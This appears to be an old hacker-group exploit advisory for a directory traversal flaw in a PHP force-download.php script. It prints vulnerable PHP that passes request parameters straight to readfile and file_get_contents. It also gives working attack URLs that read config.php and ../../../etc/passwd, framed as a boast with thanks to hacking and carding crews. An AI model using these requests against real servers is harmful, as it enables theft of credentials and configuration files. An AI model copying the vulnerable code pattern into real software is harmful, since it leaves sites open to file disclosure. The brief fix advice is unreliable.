0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
             .__       .___.__                       _____      _____  .__  .__         .__     
  __________ |  |    __| _/|__| ___________    _____/ ____\    /  _  \ |  | |  | _____  |  |__  
 /  ___/  _ \|  |   / __ | |  |/ __ \_  __ \  /  _ \   __\    /  /_\  \|  | |  | \__  \ |  |  \ 
 \___ (  <_> )  |__/ /_/ | |  \  ___/|  | \/ (  <_> )  |     /    |    \  |_|  |__/ __ \|   Y  \
/____  >____/|____/\____ | |__|\___  >__|     \____/|__|    /\____|__  /____/____(____  /___|  /
     \/                 \/         \/                       \/       \/               \/     \/ 
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0
[o] Directory traversal (Unix) Vulnerability
*************************************************************************
[=========================================================================================================]
|                                         -== A U T H O R ==-                                             |
[=========================================================================================================]
  [+] Author    : Neo|g4br1eL
  [+] Contact   : gabriel_666[at]rocketmail[dot]com
  [+] Team      : Soldier.of.Allah
  [+] Site      : http://neogabriel.soldiersofallah.org/ 
                  http://systems-gabriel.isgreat.org/
[=========================================================================================================]
|                                     -== D E S C R I P T I O N ==-                                       |
[=========================================================================================================]
 Directory Traversal is a vulnerability which allows attackers to access restricted directories           
 and execute commands outside of the web server's root directory. This vulnerability is like Local File  
 Inclussion and we can found it on Remote File Disclosure tecnique                       
 (affects /force-download.php)
 ------------------------------------------------------------->>                                  
 By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access
 files in other directories.As a result, attackers might view restricted files or execute commands, 
 leading to a full compromise of the Web server. 
[=========================================================================================================]
|                                 -==  P r o o f  O f  C o n c e p t  ==-                                 |
[=========================================================================================================]
 As we knows, Remote File Disclosure has vulnerability on force-download.php
 --------------------------------------------
 <?php
    header("Content-type: application/force-download");
    header("Content-disposition: attachment; filename=".$_GET['gabriel']);
    echo file_get_contents($_GET['gabriel']);
 ?>
 --------------------------------------------
 and be able to >>
 Request: http://127.0.0.1/force-download.php?gabriel=[files]
      http://127.0.0.1/force-download.php?gabriel=index.php
      http://127.0.0.1/force-download.php?gabriel=config.php
 --------------------------------------------
 <?php   $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['gabriel'];
     header("Pragma: public");
     header("Expires: 0");
     header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
     header("Content-Type: application/force-download");
     header( "Content-Disposition: attachment; filename=".basename($file));
    //header( "Content-Description: File Transfer");
         @readfile($file);
      exit(0);
 ?>
 --------------------------------------------
 Request: http://127.0.0.1/force-download.php?gabriel=../../../../../../etc/passwd
 --------------------------------------------
          w00ps!! we can succesfully read the "etc/passwd" file. See the source code on
      $_REQUEST['gabriel']; and @readfile($file); for that's command, we can see 
      the content of an arbitrary file ^_^ (such as on Local File Inclussion vulnerability).
[=========================================================================================================]
|                                    -==  H o w   t o   F i x  ==-                                        |
[=========================================================================================================]
  You have to don't allow special characters in variables 
  and don't be able to direct download . . .
  or close your site's before got pawned! LoL :D
[=========================================================================================================]
|                                          -== N o t e 's ==-                                             |
[=========================================================================================================]
 Special Thanks    => Kalashnikov, g0nzhack, kamtiez, vyc0d, Fribo, Ichito Bandito, DeXteR, Don Tukulesto, 
           eLV1N4, Yadoy666, CS-31, PhiLe, r1pp3r_m4y4, Remick, Triple Zix, My22n, Setan_Muda, 
           xyberbreaker, V4mp, Zee Eichel, cr4wl3r, MyWisdom, z0mb1e, dhika81, and all who care to me :) 
 More Big Thanks to => Solder.of.Allah, Indonesiancoder, Indonesianhacker, Yogyacarderlink, Tecon-crew, 
           Undercyber, MC_Crew, Server.is.Down, Devilzc0de, ../../../etc (LoL)
[=========================================================================================================]
|                                            -== F I N ==-                                                |
[=========================================================================================================]